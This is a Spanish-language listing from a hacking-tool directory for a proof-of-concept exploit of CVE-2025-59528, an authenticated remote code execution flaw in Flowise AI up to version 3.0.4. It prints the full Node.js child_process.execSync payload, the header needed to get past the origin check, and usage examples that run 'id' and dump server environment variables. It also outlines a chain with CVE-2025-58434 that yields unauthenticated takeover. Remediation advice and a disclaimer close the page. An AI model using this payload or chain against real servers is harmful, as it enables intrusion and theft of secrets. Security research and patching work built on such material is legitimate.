Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/r3nsi15/flowise-rce-cve-2025-59528
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubr3nsi15/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

Ver Repositorio
11hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Exploit de Ejecución Remota de Código (RCE) autenticada para Flowise AI versiones ≤ 3.0.4. Aprovecha una vulnerabilidad en el endpoint /api/v1/node-load-method/customMCP para ejecutar comandos arbitrarios del sistema mediante Node.js child_process.execSync(). Incluye script PoC completo y pasos de remediación.

Compartir

CVE-2025-59528 — Ejecución Remota de Código (RCE) autenticada en Flowise AI

Descripción general

ID de CVE: CVE-2025-59528
Software afectado: Flowise AI
Versiones vulnerables: <= 3.0.4
Versión corregida: 3.0.5 y posteriores
Gravedad: Crítica
Autor: r3nsi15
Fecha: 2025

Descripción

Las versiones de Flowise AI hasta la 3.0.4 inclusive permiten a un usuario autenticado lograr Ejecución Remota de Código (RCE) en el servidor anfitrión enviando un payload de JavaScript manipulado al endpoint /api/v1/node-load-method/customMCP.

El método de carga del nodo customMCP acepta entrada controlada por el usuario que se evalúa en el lado del servidor como JavaScript, sin una sanitización o aislamiento (sandboxing) adecuados. Al inyectar un payload que aprovecha child_process.execSync de Node.js, un atacante puede ejecutar comandos arbitrarios del sistema operativo con los privilegios del proceso del servidor de Flowise.

El endpoint también requiere que esté presente la cabecera x-request-from: internal.

Endpoint afectado

EndpointMétodoAutenticación requeridaPropósito
/api/v1/auth/loginPOSTNoAutenticar y obtener sesión
/api/v1/node-load-method/customMCPPOSTSí (cookie de sesión)Endpoint vulnerable del método de carga de nodo

Prueba de concepto

Archivo: CVE-2025-59528_POC.py

Requisitos

  • Python 3.x
  • Biblioteca requests
  • Credenciales válidas para cualquier cuenta de usuario en la instancia de Flowise objetivo
root@kitploit:~
pip install requests

Uso

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Argumentos

FlagForma largaRequeridoDescripción
-e--emailSíDirección de correo electrónico del usuario autenticado
-i--urlSíURL base de la instancia de Flowise
-p--passwordSíContraseña del usuario autenticado
-c--cmdSíComando del sistema operativo a ejecutar en el servidor

Ejemplos

Verificar la ejecución de código:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Obtener las variables de entorno del servidor:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Salida esperada

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

Desglose del payload

El exploit inyecta la siguiente expresión de JavaScript en el campo mcpServerConfig:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — carga el módulo de ejecución de procesos integrado de Node.js.
  • execSync('<command>') — ejecuta sincrónicamente el comando del sistema operativo proporcionado por el atacante.
  • La expresión completa se envuelve en un literal de objeto para garantizar que se evalúe correctamente dentro del contexto de JavaScript del servidor.

La cabecera x-request-from: internal también se añade a la petición para superar una comprobación de origen interno que, de otro modo, bloquearía la llamada.

Causa raíz

El endpoint customMCP pasa la entrada proporcionada por el usuario directamente a un contexto de evaluación de JavaScript en el servidor, sin sanitización ni aislamiento. Combinado con el acceso sin restricciones a los módulos principales de Node.js (específicamente child_process) mediante process.mainModule.require, esto crea un vector RCE trivialmente explotable. La comprobación de la cabecera x-request-from no proporciona ninguna frontera de seguridad real, ya que no se valida contra ninguna fuente de confianza.

Encadenamiento con CVE-2025-58434

Estas dos vulnerabilidades pueden encadenarse para lograr una ruta de ataque RCE sin autenticación contra instancias de Flowise que ejecuten versiones <= 3.0.4:

  1. Utilice CVE-2025-58434 para restablecer la contraseña de cualquier cuenta conocida (sin necesidad de autenticación previa).
  2. Inicie sesión con las credenciales recién establecidas.
  3. Utilice CVE-2025-59528 para ejecutar comandos arbitrarios del sistema operativo en el servidor.

Remediación

  • Actualice a Flowise AI 3.0.5 o posterior, que elimina o aísla adecuadamente la ruta de evaluación vulnerable.
  • Nunca evalúe cadenas controladas por el usuario como código en un contexto del lado del servidor.
  • Restrinja el acceso a los módulos peligrosos de Node.js (child_process, fs, etc.) mediante un sandbox adecuado (p. ej., vm2, contextos aislados, o eliminando el acceso a process.mainModule).
  • Valide y autentique la cabecera x-request-from mediante un mecanismo del lado del servidor, en lugar de una simple comprobación de cadena.
  • Aplique el principio de mínimo privilegio al proceso del servidor de Flowise.

Aviso legal

Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de este script contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor y los colaboradores no asumen ninguna responsabilidad por el mal uso.

Descargar herramienta